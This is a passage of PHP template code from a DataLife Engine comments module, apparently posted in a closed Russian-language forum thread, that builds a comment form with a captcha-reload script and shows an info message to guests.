                <form  method=\"post\" name=\"dle-comments-form\" id=\"dle-comments-form\" action=\"{$_SESSION['referrer']}\">".$tpl->copy_template." 
                <input type=\"hidden\" name=\"subaction\" value=\"addcomment\" />{$hidden} 
                <input type=\"hidden\" name=\"gid\" id=\"gid\" value=\"$data[gid]\" /></form>"; 
                $tpl->copy_template .= <<<HTML 
                <script language='JavaScript' type="text/javascript"> 
                function reload () { 
                    var rndval = new Date().getTime();  
                    document.getElementById('dle-captcha').innerHTML = '<img src="{$path['path']}engine/modules/antibot.php?rndval=' + rndval + '" border="0" width="120" height="50"><br /><a onclick="reload(); return false;" href="#">{$lang['reload_code']}</a>'; 
                }; 
                </script> 
    HTML; 
                $tpl->compile('comments'); 
                $tpl->clear(); 
            } 
            else{ 
                $tpl->load_template('info.tpl'); 
                $tpl->set('{error}', $lang['news_info_1']); 
                $tpl->set('{group}', 'Гости'); 
                $tpl->set('{title}', $lang['all_info']); 
                $tpl->compile('comments'); 
                $tpl->clear(); 
            } 
            return $tpl->result['comments']; 
        }
     
Статус темы:
Закрыта.